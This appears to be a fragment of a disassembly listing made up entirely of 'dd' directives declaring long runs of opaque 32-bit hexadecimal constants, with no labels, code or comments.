dd 4641C2A5h, 45E92A33h, 0C210B787h, 1AAB50D7h, 0E525A484h
dd 0A56B4758h, 0C34380EBh, 610211F3h, 5CE95F7Bh, 84F9D4EFh
dd 803D2073h, 1A50F723h, 0E9251C71h, 5762E293h, 0E9C12AD1h
dd 45A4FA94h, 3F8820B6h, 0D1E76F8h, 49688153h, 89723A79h
dd 0DC528970h, 3A5FEB0Dh, 44E5F528h, 60AEF9ADh, 0B415E955h
dd 0FC5C50D9h, 0E7AB07E7h, 0F17F45D9h, 8447DFF7h, 7856AED2h
dd 0E17AC7ABh, 3FB5B1A8h, 51B82825h, 0BF6A2FA2h, 0C72D9156h
dd 0FD1E0945h, 6870557Eh, 31294B58h, 824BF4B9h, 6888F59Fh
dd 0C340758Dh, 0F80530E7h, 0F292E926h, 48A5CEBBh, 7EF505F5h
dd 0B7A45D7Fh, 3E739DC7h, 1608C588h, 0BA5ABF2Dh, 5E6E3A4Ah
dd 0AE168CD2h, 0EC12ED93h, 13EB5288h, 0DBA60845h, 0C687BD34h
dd 48BA41D1h, 82A8E56Bh, 839FA2FCh, 0D7456A89h, 0E9148136h
dd 84D4D0C9h, 560A70E5h, 75E108Bh, 39ED805Bh, 83F6C633h
dd 0B72EC7EEh, 42DF3DE2h, 0E6D053CEh, 0DA5DEBC0h, 61905B82h
dd 2AF198E9h, 49781ECCh, 37108103h, 98592CCAh, 9D46490Dh
dd 0F486313Fh, 60BFA547h, 305A46B1h, 17266376h, 554ACC22h
dd 0AA05ADE6h, 0C306713Ch, 96970294h, 0F3904253h, 8D24207Ah
dd 504056C3h, 0F6398936h, 3B3ABA9Bh, 0AB99CA28h, 0DD800ED3h
dd 0E01E9036h, 67B75300h, 0C7FEDFF6h, 170E8DB6h, 4C70D028h
dd 0B210B8FCh, 475526B1h, 0D954F502h, 13107066h, 0FE150744h
dd 0C4F4708h, 2C2D3F6h, 5FC56669h, 0EAA2BA43h, 0BB741055h
dd 5645BD80h, 2DD86E37h, 0F1F5948Eh, 0BADEF713h, 98FB9406h
dd 1BC20FCDh, 9749C52Ch, 0B50FD4F0h, 25EB3053h, 804E9A6Eh
dd 902DEFD8h, 801CB300h, 0C3FE06EBh, 8E3C004h, 0C6FCB551h
dd 0C904BC22h, 72506E74h, 3E6C88AEh, 42C43312h, 0A8032DBCh
dd 0D131C974h, 0C74855EAh, 8004CDFEh, 0E5D007C5h, 0B68095F2h
dd 6673E96Eh, 955459Dh, 5C59E6F0h, 0F4452B89h, 0D9654E53h
dd 7789AE5Bh, 0FE3FC87Ah, 90019540h, 92DD5B0Fh, 4A5FC66Ah
dd 0B6FD61C0h, 0B45E8105h, 0F0DD6E02h, 0A3E3B657h, 0FA4D164Eh
dd 0CE38EA5Fh, 0F22709BCh, 98F44F44h, 257731Fh, 0F75241FFh
dd 8177B9AAh, 4665EA0Ch, 50AC3E71h, 0A308207Bh, 5763FA95h
dd 35AC4E99h, 5CB22BBEh, 6232C9DFh, 958A6C75h, 66255245h
dd 73D98058h, 40AC3A5Bh, 290BFFADh, 0B6E4C44Ah, 2D2C500h
dd 1C6810E2h, 650C9E25h, 7A6CA1F5h, 0BC93B8A6h, 76ADB406h
dd 0FD544F16h, 44418528h, 8FB632EAh, 4AE0D8EAh, 0DA0DA89h
dd 0D682539Fh, 92FA49E7h, 2BF6D5FDh, 0BF236CCh, 5254921Ah
dd 0FBC4980h, 899760BBh, 619DD164h, 0F2FDE170h, 0AD5F9960h
dd 0CACD9B97h, 8F2ED5C6h, 0E70B4D8Eh, 100DB0FDh, 0DAA983D4h
dd 860A8243h, 55D5F6EFh, 7BFD5469h, 39050425h, 0D5B8D819h
dd 0EAE823C5h, 0FE49735h, 1644BD16h, 45536100h, 0EE81461Ch
dd 0B1101338h, 0DD76F501h, 4FBD00D1h, 0FC99ECD9h, 0BFA9D6C5h
dd 9F03FB79h, 0F88F4E7Ah, 0A0B744Dh, 7E484E79h, 49E89F6Dh
dd 4FDE5F6Ch, 0D4C7A442h, 0A8086261h, 5F4B580Bh, 604FCA7Ch
dd 6B7FC1C4h, 727CED6Ah, 0E6001758h, 15101A51h, 0B17C684Eh
dd 43CC69Dh, 0C410DDAh, 201FC7D1h, 4A92627Eh, 5BF85B5h
dd 1031F787h, 0C27F1554h, 4A772D9Ch, 0AEBFC198h, 0F9BB0414h
dd 4FBE17EDh, 634405B2h, 1D73A4AFh, 0C83B9F41h, 69BFEFDCh
dd 9C732192h, 5DD11350h, 0C225A805h, 5C70B960h, 0A40C576Ch
dd 0C646317h, 5DD0668Eh, 4269CCE9h, 0A1AB826Bh, 0DEF602ABh
dd 0F2AE13FDh, 0F392C152h, 4A7F6723h, 0EB8287A2h, 74193500h
dd 25070383h, 7CC42075h, 2D01E870h, 9880F00Ch, 74A3200Eh
dd 5672C2C1h, 204DF1h, 2A2B099Eh, 4BFC2904h, 0D4DE0820h
dd 174FDE30h, 5CF0BD35h, 7F151h, 1D64C9D4h, 0E9E42560h
dd 121A0ECEh, 0FCCF8944h, 0C3BAA226h, 55AE9AEFh, 0E927015Ah
dd 0D5870957h, 0F1B7BE9Eh, 792A4D8Eh, 9D12B56Ch, 0CB5A5AE8h
dd 6DDF1037h, 2CC4680Bh
dd 0B4634574h, 502B7D01h, 4EDFE802h, 8BAEBDE0h, 712F7C34h
dd 2E5935F6h, 625B40DAh, 91605687h, 2D024A32h, 0E9DBF717h
dd 0FC914A3Fh, 680E3C39h, 0BAB24CA0h, 5599C80h, 0EA4A160Eh
dd 504ACB32h, 272C26A6h, 69089F70h, 12532FCCh, 639EE9E3h
dd 76ECB11Bh, 8BF648EAh, 0C0DEEC5h, 0B43AFA59h, 0F20B2937h
dd 0A7B0BCE9h, 0B77455D5h, 0E2C0B090h, 0F2801C04h, 42EACBCCh
dd 0B342E971h, 271EDE71h, 3C406F71h, 90169548h, 0A415207Fh
dd 8880B0C5h, 13C5E145h, 6FB72645h, 801B03FEh, 0C79829F7h
dd 4E27E901h, 0B77D64C3h, 0D1A514F9h, 0BA68059Eh, 0CC71FA72h
dd 1E92417Ah, 2607044Ah, 0C0558FD6h, 611138B8h, 0F86B865h
dd 7FF92A3Ch, 842EB8D2h, 0C11FBCFEh, 76824D3Bh, 0E7A42B42h
dd 22CE0ECAh, 0E2C07757h, 63A8379Ch, 0D10AF2F8h, 0C5704314h
dd 401D2F0Eh, 0E9D5290Ch, 0EBA5D2B6h, 0AB980E8Ah, 975E1FE9h
dd 0FE543740h, 98D0F6C0h, 1DE40DFh, 3155F777h, 7EEADDD2h
dd 7F5F9A62h, 71A7E867h, 6D858843h, 0E6C8E904h, 2597A3BAh
dd 0AA14D705h, 201D79F6h, 0EF40557Bh, 1506F47h, 0BF5728D0h
dd 0FC6AB708h, 98551509h, 5BAEE979h, 682730BDh, 87C4054Fh
dd 24A2E47Ch, 33F2D225h, 9CF4F20h, 1AF0685Ah, 18F1B4F7h
dd 4711E957h, 7D0034BFh, 18B95966h, 0B63FAB73h, 482631A4h
dd 685300F5h, 0AC10007Dh, 0CB815B0Dh, 5105212Dh, 0BB54E945h
dd 3B514BBFh, 9D12BC57h, 0EEB65722h, 4983C104h, 2B11F825h
dd 710C174h, 8DAF79E9h, 702E121h, 2E5DA20h, 68134548h
dd 0E5E67198h, 70A50995h, 629D0F7Eh, 0CEA9CDD1h, 44704576h
dd 365D8184h, 0B05D7C29h, 7C65003h, 0FDB25228h, 0E9CED754h
dd 66BCF125h, 5B7806CBh, 0DF297BC4h, 0C92D2F9h, 686787F6h
dd 0DBB86AE4h, 54F5C4h, 35E85BFh, 40A9165h, 8142923Dh
dd 3158C58Dh, 2CD3C505h, 96B90003h, 8160BD32h, 711009E1h
dd 0C8743701h, 467F210Bh, 20B89A09h, 6812BFD7h, 0B347F82h
dd 0E9396CEAh, 45C7CA2Ch, 0D0E3DA53h, 7D79BFFCh, 26A42045h
dd 0F8505F71h, 9BD1B434h, 0A52C9739h, 200442CBh, 0A664BB45h
dd 628CEFC0h, 1091068h, 7A0841EEh, 0ABD78AB3h, 80339F22h
dd 7AA1EB5Eh, 500D5AC6h, 5F250867h, 6858B954h, 0A3435FACh
dd 0B05ED8BEh, 0C188065Dh, 0D0CB2858h, 2BFBC40h, 2546965Eh
dd 0E389FD31h, 22CA91DFh, 2D80FC34h, 0CB562BC3h, 14BCA321h
dd 0D3DC7B29h, 0B78459FCh, 5B5D1E51h, 525484C9h, 0C0EB7BFh
dd 55D35103h, 67360C04h, 0DEBD10F0h, 55AD000h, 42EB6F3Dh
dd 3F902D90h, 94BD0884h, 0BF2D0278h, 5F449637h, 0F30080FDh
dd 0B04B1D0Bh, 535218D1h, 0FAC67AA4h, 135FBCEAh, 0BBE5628h
dd 16B3628Bh, 291C0674h, 0C87C53DBh, 95364D40h, 0C609F4C2h
dd 0F74BD248h, 2500D35Eh, 79992993h, 234B851h, 178C3DF6h
dd 0A8DC5EE9h, 8936FB25h, 0DF7E5976h, 0CC201E3h, 3262F72h
dd 870FC758h, 0D721774Fh, 0EE20E9E8h, 6EDA2D00h, 406802EAh
dd 0B155C408h, 0DC931E64h, 0A32433E6h, 5CD9A5C3h, 436A68E1h
dd 0C8510853h, 4A4D27E5h, 0C209F042h, 0C8A1E20Bh, 5A90D489h
dd 0B42BA5Eh, 3D1355F4h, 77D5C9C1h, 7FE9C3D4h, 52242D3Fh
dd 2F9F3194h, 6554CE89h, 0ECF8CDE9h, 14EE0813h, 0F12053FFh
dd 0EA5DDA82h, 0A87414ECh, 9F74A15Ah, 65B7F1F3h, 48EC64E2h
dd 0E07CEAC0h, 27DA7BA8h, 8BB849C0h, 0E9A05B57h, 728C9EBh
dd 0DF5ED04Fh, 8AC959ADh, 6E5A3041h, 975C4F28h, 833042D2h
dd 0E5BAFF3Ch, 587D3036h, 8E7E0282h, 740015Ch, 3F7C940Dh
dd 89AED575h, 0FD4760A3h, 2A74718h, 10EE8F26h, 2589782Dh
dd 14678E8Dh, 0A2C0AA01h, 0D093703h, 0C0086662h, 0FD340155h
dd 4CFCF036h, 0C6916180h, 8492918h, 2F802DFAh, 4768070h
dd 8080B980h, 38C6847Bh, 31088315h, 61181958h, 6D0101E0h
dd 0A8141088h, 2060F51Fh, 1C318FA4h, 743B084Ah, 0F66E1888h
dd 8EE0508h, 0D40C2A4Bh, 6278081Ah, 933218DCh, 31DA102h
dd 81B7A90h, 0EB2047CEh, 0D208184Fh, 0E77D1813h, 80E5EB80h
dd 8C4ACEAh, 5304ECDBh, 9E0D04CFh, 3858DD06h, 208C5E20h
dd 56336FDFh, 19939106h, 41D3CD10h, 48188844h, 958B0D4Bh
dd 881EFD10h, 0C11A008h, 5420BB21h, 5C08CB62h, 0A05E03C6h
dd 0AC3D512Ah, 0A864D740h, 83204F84h, 0B4A6AD9Ah, 69310885h
dd 86F91862h, 55D059A2h, 3A61F4F5h, 47BA0888h, 28977E0Ch
dd 175740A0h, 0C910AE62h, 64AB0372h, 34E10810h, 2080822Ah
dd 0E3315CFBh, 9451089Bh, 2D27001h, 6A90A2EAh, 4D730212h
dd 1860C803h, 87BFE10h, 87838A88h, 629C205Ch, 7D6808FAh
dd 2E62A02h, 9D02D550h, 75792CF6h, 0A8D85E40h, 818CDED4h
dd 758851FAh, 9AD40179h, 16E6101h, 0D1019C5Ah, 1D1888B6h
dd 913C0C39h, 43409610h, 20509238h, 5F20CFA2h, 0EAF8315Ah
dd 904D4908h, 0B5195EC9h, 8C590852h, 8F7BB49h, 649540FEh
dd 0C435C740h, 58234B9h, 0EC4CD8BCh, 66B1087Bh, 9284838h
dd 49535620h, 1210287Eh, 0B9661A49h, 1026C310h, 10875B10h
dd 16106919h, 0F6610E4h, 89AF318h, 29C85F40h, 71770C1Eh
dd 8040A708h, 202C925Dh, 2F206E97h, 0AA7F2046h, 247AA820h
dd 959098E3h, 0D63188CEh, 1BA8208h, 7A01514Ah, 587501E0h
dd 950A5901h, 1894CC40h, 9D10565Ch, 869480E2h, 0E0529381h
dd 5B90A54Ch, 1A62C846h, 4EB88891h, 0FDB89245h, 35EB0888h
dd 3EC99419h, 64733824h, 49B7959h, 789266F0h, 0C5130367h
dd 69141018h, 80B4BE08h, 60808645h, 0E8FC389Ch, 0EF6C204Fh
dd 0F39245AEh, 0C6E4C778h, 63424Dh, 2752C47h, 0C68913EBh
dd 3DA7B90Eh, 10005F4h, 49408F44h, 1675C90Bh, 1D748BF7h
dd 3DE0284h, 71E4B9F0h, 6C0333Ch, 304FB10Fh, 0CCAC4B2Ch
dd 315AB762h, 0C71C7BBDh, 8AF817A6h, 2801743Dh, 80C3B151h
dd 0C8DC7DC1h, 0BF6FFE59h, 0D9E912F8h, 10287E40h, 0ECF44BB1h
dd 50CC036Bh, 0C8809EB4h, 0EBD4F655h, 0A0E12F93h, 2805D1B5h
dd 4601E9F9h, 0BC0824FEh, 8FBC4A3Bh, 59C2CAF5h, 0E9550508h
dd 830542ACh, 8BBAEA29h, 5AD31C99h, 9DE3DAD2h, 4BBF25Ah
dd 1120B968h, 815CDCE6h, 8E60473h, 0B33B7C68h, 0B6378ACh
dd 0B9565072h, 0E36A1EE3h, 0CBA24FFAh, 0FF3B10h, 0FD2D9545h
dd 0B7106F9Fh, 0DFEA8302h, 0F0979BE6h, 11B3322Dh, 0EBE35658h
dd 0AEC00DBAh, 0B01CBE59h, 31534125h, 5AE96AB1h, 0E28981C3h
dd 0C603B66Bh, 0BC521A9Dh, 0BB530874h, 9CC18140h, 50173005h
dd 0C834100Ch, 0D9011B17h, 70A67001h, 0CAF819BBh, 6261893h
dd 148F6A1Eh, 6355992Eh, 0EE235703h, 0EFE2E009h, 1015F60Bh
dd 31FA7E9h, 0C26714B9h, 23D5D119h, 3A9B392Eh, 0BF19E4B6h
dd 2F5CB054h, 9A70EB8h, 76F3CA5Dh, 0E1ECF2D0h, 0A26C930h
dd 74345125h, 0D8F70E11h, 7565D32Dh, 4C8000EFh, 296B3970h
dd 76BF00EDh, 0F03A5C14h, 0DB067305h, 1D83ABCEh, 12F1A358h
dd 13231C34h, 8A3CAD80h, 0BD80E367h, 0AFE5E80h, 0EB2B9731h
dd 0F1DE0BDFh, 0E164AF6Ch, 12191822h, 0AB010676h, 0F2E64871h
dd 54682085h, 738CAE5Ch, 188801BFh, 55E976CBh, 0CE742A93h
dd 0EF2494E6h, 5FE95893h, 0C6391D60h, 7BD23B62h, 431713D0h
dd 8432A801h, 0EA12D36Fh, 27163D40h, 0FC5E7DF9h, 0B380BD4Dh
dd 0AC47AFBEh, 94105A7Ah
dd 56A00104h, 76030DBEh, 20E9395Eh, 51600FEh, 0A6B66F84h
dd 3096C201h, 16545550h, 0FAA428E9h, 0DBBAED74h, 8E91302h
dd 0B1514AC3h, 5DC23DFBh, 58B82C71h, 207B4890h, 0A398734Eh
dd 0A25391A4h, 0E81FC92Ah, 8BDF5DA5h, 3C2F595h, 0D2462235h
dd 0B60147Ah, 0A1A5BF29h, 9EB9F80Bh, 5E93F991h, 0A5F14BE5h
dd 1E478E1h, 60E92FCBh, 0E447BB7Eh, 2914A9C1h, 5A1B052Ah
dd 0F421BB21h, 7BD5223Fh, 1201D220h, 274B077h, 2636ACCh
dd 0B9DFBC40h, 4744082h, 0A665F622h, 0EE810040h, 31D90FC3h
dd 2BB7CE68h, 133BFDF1h, 0B5E9370Ch, 0AC5A229Bh, 0F18EC0C1h
dd 4A0DA36Eh, 0AAC3AE96h, 590A1FC8h, 0A057C41h, 6F41ED5h
dd 1DA17F98h, 0A3DA5895h, 0AFC8DACCh, 22E617AEh, 0FEE97698h
dd 0E61DF667h, 7FA20790h, 1A232568h, 210A5766h, 0C222265Ch
dd 0DB8C5A3Ah, 9B7512F7h, 874F0167h, 204A7E5Eh, 40AE897h
dd 0DE2152D0h, 27F89688h, 59973E70h, 75178BFEh, 0E3EF2EF9h
dd 85014598h, 0D8482BE9h, 0B091BD5Eh, 0D751DEE9h, 1CEC432h
dd 8E525898h, 413B327Dh, 4F3B2608h, 1D40C3D1h, 0ED813E83h
dd 11936006h, 2B3822D9h, 7A739BE2h, 0A43149D7h, 5CD6BE02h
dd 0C7841333h, 7D58096Ch, 7A5F43BAh, 164316BCh, 9E67EB01h
dd 0CEA41125h, 4DFB40C1h, 0EE4929ECh, 3EAC5B98h, 17C00610h
dd 0CCD0205h, 9AD5E4F4h, 0BE1AD76Eh, 15207039h, 3B5981A7h
dd 0F1FBD163h, 0C824E6D6h, 4EB29852h, 7BED36h, 9B61E504h
dd 0B77241E9h, 6766A851h, 53D497B5h, 155685A8h, 547596ECh
dd 3BEBD401h, 0CBF049F2h, 0DB650271h, 0DF91E903h, 9485245Eh
dd 4BAD68F2h, 4DBD4060h, 0CC11A46h, 69BE5498h, 20CC720h
dd 0E9458634h, 0B6813EC0h, 687FDE35h, 0BCED076Ah, 7CA91720h
dd 8503996h, 2E91658h, 0ABE4177h, 803B5119h, 59698E22h
dd 0D0CD017Eh, 0F27A0842h, 0FB6290F5h, 2DB73103h, 8A20EC24h
dd 0EEBFB4E0h, 0A2189D63h, 6F92318Eh, 47581BF9h, 4A4A10DDh
dd 0A821AFDDh, 0B37BE461h, 9FC9DFEBh, 0F5E91A2Fh, 681527CCh
dd 270F4D8Fh, 6B27F154h, 34370830h, 4D886880h, 0FD80081Ch
dd 0D1580927h, 43CAEA60h, 0B517744Ch, 1141B3B0h, 93B4F0Ah
dd 0D4E936FAh, 233D0508h, 0FF03AA59h, 1C7856E9h, 0E912C1Ch
dd 899D04D0h, 0FC515A3Ah, 0A9458049h, 1D525366h, 79CC8850h
dd 10EFE7A4h, 9F355832h, 56F1314h, 3D5C226Ah, 1144281h
dd 567D571Ch, 0DE51D725h, 9F65CB0Ch, 2444840Ch, 5819EC5Fh
dd 0B3A7B6DAh, 77246FEFh, 6B4F33EDh, 77352B1Bh, 389AD382h
dd 173E5DDh, 6DFB6853h, 0C15BD037h, 9CACEB5Eh, 0BB17BA04h
dd 0D6C7FB0Ah, 0D449DFE2h, 44756099h, 51982A5Dh, 81A61870h
dd 77C90734h, 987A5EFDh, 0ADBA9195h, 0EA2588F0h, 89C2F3FEh
dd 9FFB863Eh, 2714820Ch, 3E7EB3CDh, 44C10E92h, 0EBF9511Eh
dd 734CA1D7h, 1ED16046h, 0AE47D2BAh, 8F2C277Ah, 59926253h
dd 895AAFA8h, 5E22E91h, 808384E5h, 7D4D6A2Eh, 1D930A4Eh
dd 7834810h, 0CFFBF61Eh, 0DD8644F5h, 0F097F83Bh, 76380BFBh
dd 0C38233A0h, 0EC6BA532h, 7EF8F1B1h, 0ED182C89h, 0E9D509B1h
dd 52D412CEh, 1EC0577Ah, 265FC6E9h, 0D113298Ah, 3C78BB5Ah
dd 69A124E9h, 0EE604092h, 89310DA2h, 0EAEB9AC6h, 0EF7357C2h
dd 0A94BC239h, 12EA0035h, 0E9767E7Bh, 2913404Dh, 0FE02F097h
dd 794291Ah, 99F009CDh, 832A2B93h, 68128071h, 0A3760ACh
dd 732D648Ah, 5F860B0Bh, 21A03155h, 2E69C613h, 9015035Ch
dd 9BBACF5h, 8CAB9EDCh, 6020F7Fh, 505D7FB4h, 13DFACF5h
dd 874A13Bh, 800F3345h, 5B3F2F2h, 8C2572Fh, 0D586A0FFh
dd 0B043E10Ah, 4CE98120h, 64D4BDA7h, 0B4800512h, 97BB951h
dd 296F5B42h, 316B35D1h, 0BB4C511Bh, 1BEB85Fh, 32DB5635h
dd 60C329CFh, 0A1DBB80Dh, 0F80DC27Ch, 74253857h, 0B034D893h
dd 7A2E55B5h, 0E9861526h, 126E5B7h, 0E0C0D0F6h, 201D0C05h
dd 0A49C9FDFh, 1059896Fh, 271AFC7Fh, 4A942939h, 2500ECBFh
dd 6A949A12h, 15AA46B7h, 0FBDB2CE9h, 0E623A14Bh, 6B485AEAh
dd 4E80C014h, 0DCCE0181h, 0D15C8226h, 27C02BEEh, 97735F7Ch
dd 0B582DE7Eh, 0FE1233D9h, 0A081A9Ah, 7A5DFA75h, 463B2854h
dd 0CDBD252Fh, 0E4BE37A2h, 0F805785Ah, 89156709h, 47AE9246h
dd 0D75F4A48h, 6309C1F6h, 195CED7Ch, 8D530C04h, 2AB927ACh
dd 0E0C4F6BCh, 177CAAB1h, 45CF2DE9h, 6841C576h, 4B6356A6h
dd 5B232A78h, 52500B23h, 4AD6B9B6h, 2700E612h, 0E58027B5h
dd 4FCDE69Fh, 0BE984CAh, 0FC2902BFh, 369E6382h, 7C2550C5h
dd 1F2D165Eh, 2DF996B6h, 0B4EC20ABh, 2BE52DC0h, 0BD48A479h
dd 5809E20Bh, 82E14901h, 0AC94D5E9h, 5DCB5B28h, 86594D16h
dd 108D4C1Eh, 7251E260h, 5900BCC1h, 4E4BF868h, 203D3831h
dd 0BE605E02h, 22F641CFh, 2DD6873Ch, 29D064C2h, 9A9E8C5Dh
dd 0A7D75BBh, 6D0D0D10h, 85206554h, 0A3461381h, 83F70116h
dd 2C1BCC55h, 16BB5D88h, 0DD67906Bh, 890DF992h, 931FFA3h
dd 0FE69AD1Ch, 0A9534461h, 8FFEA4E8h, 5EB34AC3h, 0E70908D6h
dd 0A60F7D25h, 0BA53C27h, 7656B711h, 94ED5B27h, 96F7C725h
dd 0E824D2AAh, 1F60A99Fh, 8B9CB7FEh, 3E4BE1B0h, 9792BB3h
dd 6D8D5BD7h, 0A42D3AE0h, 8992720Ch, 5DE987D6h, 311684C3h
dd 0E3900ED0h, 0FCE045B9h, 1FCB03BCh, 1D1304C8h, 4D705AD8h
dd 0F44BFB08h, 2127687Ch, 2F97C64Eh, 0C3C5561Bh, 0AABB60Dh
dd 0EC2CCD6Ah, 2DC0FE06h, 510A42F3h, 5B050048h, 2D227476h
dd 8B2D07B3h, 0FF4C221h, 7E119407h, 5FAD1C5Bh, 7DE4AEF4h
dd 5AF440F2h, 3654409Dh, 4CBB3E15h, 4010B192h, 5285CDCBh
dd 0AF903944h, 0C505B998h, 0C051A864h, 47B4A901h, 0BB3177AFh
dd 80395FBh, 21878E9h, 2606C3CDh, 29E1078Dh, 0C05A029Eh
dd 98C07F23h, 0C8F5EDFDh, 3159CBC0h, 8516B60Fh, 9CB26BD0h
dd 89A0022Bh, 729B6BD5h, 0B372D2C3h, 0EF81DF01h, 42E84D77h
dd 0BBD32162h, 0CE95931h, 9A2DE225h, 273C7D1Ch, 0FC589A55h
dd 0DC29CC02h, 0F2DF7667h, 5DC60292h, 0B1D0EB1Ah, 4A63E915h
dd 55CB03A4h, 0B164B330h, 2CAE11EBh, 90391662h, 7C279BCBh
dd 16A724Ch, 5C145EECh, 6ED5F7h, 0FB16C532h, 0FC95B66Dh
dd 4215802Ch, 97E93771h, 198C2E5Dh, 40606EFh, 0A008E7D8h
dd 1685EA87h, 0E831E680h, 0EEC1B0AFh, 0F9E95803h, 12F5AE69h
dd 76965581h, 0FB21EC2Dh, 96318C3Bh, 0B77E84Bh, 2FF6E9E9h
dd 1D6B5F8h, 2E57DD47h, 3C126F08h, 0F81617AEh, 0BF797C7Dh
dd 65923202h, 0A07477E9h, 1875B932h, 30417DF0h, 0B31A8321h
dd 0DC79882Eh, 0B6196E32h, 200F46BEh, 41B84126h, 426355F0h
dd 0C2D02810h, 0E14CFFE5h, 5F376815h, 4AB50738h, 0A02B2EE9h
dd 0C280DA5Ch, 0BE884AC3h, 0F3B77A37h, 9D5F67Bh, 0BA5650DEh
dd 5A58E507h, 53FAEA95h, 73383885h, 43DCF15Eh, 0CA406B7Eh
dd 0F6C7CAFCh, 8533DCD9h, 0BD589368h, 0F0849229h, 101C37FCh
dd 178B9FC5h, 357340FFh, 386E5382h, 0D00819Eh, 74F41E17h
dd 729C0025h, 42D6476h, 5D4F4755h, 0E9DD0190h, 5B1E5887h
dd 0F1F187D6h, 3956F269h, 2E8A55F2h, 0E9F29AFCh, 457D04E2h
dd 0FC523544h, 0BB04D3A2h, 521DF2D9h, 0F085FAA6h, 0C65ED0AFh
dd 50E24664h, 80DD7A95h, 1A4E5A08h, 0EE38C1E9h, 0C68369F1h
dd 34D26943h, 1734DE1Ah
dd 82C3F908h, 55125C68h, 0D04E4F5Bh, 2274BFD7h, 0C1F862FFh
dd 0F9C26EDEh, 39C655F5h, 7AC471B5h, 0AC8F5955h, 76B70205h
dd 0DC03466h, 633757C8h, 2AE10C74h, 0A0200578h, 0C66D135Dh
dd 45E163Fh, 0DC733Ch, 5230D6B9h, 19259520h, 6C3F896Dh
dd 0DD0610E5h, 0D0585B2Dh, 0D0575028h, 827A3000h, 907BBF04h
dd 56086432h, 5A14140Fh, 6809C1B6h, 67F139B3h, 10C7E9C1h
dd 4850B32Eh, 0C8EE054Ch, 75FC1465h, 0A59D2192h, 0A32B3864h
dd 0C89BEAD0h, 0E2352DD8h, 680E7C26h, 90828C8h, 5E202FE9h
dd 0DD7A8EBEh, 0D32C6B7Ah, 0BAC3D7Eh, 0C7FE8B27h, 0DF680919h
dd 6EF7FEC2h, 1D47B909h, 0CF8114E9h, 0F79B481h, 0EEA03F78h
dd 910EE268h, 0BE56839Eh, 2CB2196Dh, 3D42F460h, 0E961C506h
dd 49294FFBh, 1A9925E5h, 66892A0Ch, 96738920h, 62CB878Fh
dd 848C974h, 0B29D6EF4h, 0CF3394BAh, 0CAE0F582h, 6BE94655h
dd 0DE79E460h, 6F315F5Bh, 61C63FF0h, 6FF71C47h, 2F7C7CE3h
dd 10F22B17h, 0CEA6ED02h, 505528A4h, 40D30B23h, 94D46C2Ah
dd 6AB00720h, 0C882CCF2h, 3E6A4D5Ah, 76126663h, 0D6B6A9F7h
dd 2CAEE957h, 4714BA20h, 0D4631Eh, 23651C99h, 80DA72E9h
dd 3C0029BBh, 0E3811EF2h, 393F1F19h, 0FCA9E94Dh, 5D005D2h
dd 57CE00CBh, 587CB007h, 5BD83100h, 0E9D1F791h, 2D20BE1Fh
dd 8D095E15h, 63FE5CBFh, 102C2DD5h, 0DA03F543h, 0E25E9071h
dd 9564D8C0h, 0C9F380D6h, 0F66EF82Bh, 3953D7F6h, 4A9B8410h
dd 66FC6DFBh, 0D0532F5Ch, 93939A86h, 3ABE3A50h, 49F5B993h
dd 814029B7h, 0B180B7A9h, 0F6CABA88h, 9A681353h, 9037AB2Fh
dd 0E377D390h, 5CE92D69h, 0CEFED300h, 0CA4AEE80h, 0BD3147FEh
dd 5821078h, 90130CBEh, 0C81C6BDAh, 482D7044h, 7E846A80h
dd 0C7D6173h, 31B578C8h, 79C43F30h, 0C06A67E1h, 7C9587BBh
dd 0EE4CB5Bh, 418A4EF2h, 0F305431Ah, 0A4DFD520h, 5E386104h
dd 68C033EDh, 0BA8ADBC1h, 58785859h, 218807B8h, 206F6CE1h
dd 1049178Bh, 9C0838E9h, 7BF9BD70h, 0CFD14C44h, 366DF729h
dd 3325D710h, 0D186465Fh, 0CBA1810h, 782E530Dh, 42E9D4B6h
dd 662A1C67h, 494B3C0h, 4837F64Fh, 0A58157C2h, 20015E05h
dd 4D05AAA7h, 0C5E920E1h, 0E538B7B1h, 0AE0BE4A7h, 685C9601h
dd 0DE666FB8h, 0EB04D248h, 0AF332326h, 0C4576B6h, 4EEC8A2Ah
dd 42123A00h, 0DF016B54h, 0C441411h, 0B8F5D87h, 833B7396h
dd 0AFA95FEFh, 0C06B90C7h, 3E7C105h, 92E1D4D7h, 0D010B82Bh
dd 3FBB45CCh, 0AFD6CFB3h, 6843C537h, 0CFAF943Ch, 0EE7D1666h
dd 845BA4A2h, 977B77Bh, 661DF7E9h, 0B5E24B2Ah, 0D0A07B26h
dd 78D374F6h, 865B28D8h, 8B011282h, 0B41DA814h, 133D8BFAh
dd 5B04F680h, 6125774h, 83A7261Dh, 91B576A0h, 0C10D0ECFh
dd 40688548h, 0C1C7460h, 0C701B446h, 0CFACBC96h, 205DF80Bh
dd 0FC165533h, 25D1D3B5h, 3A480849h, 0D02FBACBh, 27BF8100h
dd 705B1A51h, 37A12D84h, 7A35F747h, 177D8B98h, 0AD728567h
dd 0B3EF02C2h, 75E5BE73h, 0C3215CC0h, 234584Fh, 15FD2380h
dd 15285816h, 4B1CF303h, 0ECB569C3h, 9B34E3Eh, 3CE56880h
dd 5A4A1F33h, 6D01BBACh, 0F74234CFh, 2E128BDAh, 3FBAD849h
dd 0CE168EF2h, 4A73B8D4h, 77213309h, 0E54FCE05h, 0D3333279h
dd 20E99F8Ch, 4D016B97h, 5C61F581h, 0E812736h, 324768C5h
dd 961A8056h, 21DC0520h, 1AE909EFh, 39DD011Bh, 0F5F6C1CCh
dd 7AE29741h, 4E7BD38Ch, 3EF4A3EDh, 6E8C5BB0h, 0A71517B7h
dd 3E6F0002h, 0E91E5B91h, 0DCA93627h, 0DF91E918h, 55E35308h
dd 1D033405h, 0E7C76B92h, 447973E7h, 0D04C97C6h, 0FF2D79A8h
dd 10BC3099h, 6802F6CCh, 26596948h, 57F8E25Dh, 77F030C8h
dd 0AFE9DD0Ch, 0B80F60Fh, 5866E8EDh, 3C09F006h, 0B0271EB0h
dd 0E310C64Ch, 47253EE9h, 0F448C52Ah, 0A800E300h, 572A8C34h
dd 265C2BBFh, 2EF2C64h, 7B770B66h, 247796F5h, 52BB64A6h
dd 5A71E85Fh, 0BB68D330h, 7628846h, 0D5B83A10h, 4012E29Fh
dd 4B0D08E8h, 3D1CAB2Bh, 3E852548h, 0AF0EADh, 95B93521h
dd 312C0F1Eh, 0F8044DC7h, 10D469E9h, 3F0912B8h, 808041A1h
dd 10E02D7Eh, 7D540B7h, 29273B5Dh, 34081C68h, 18141E1Ch
dd 67EA1C47h, 0BC44B96Eh, 4D60704h, 87550AEh, 9F5FF444h
dd 735F5D1Ah, 107C2F0Ah, 12BE5A9Bh, 422AF3F4h, 0DC0993EEh
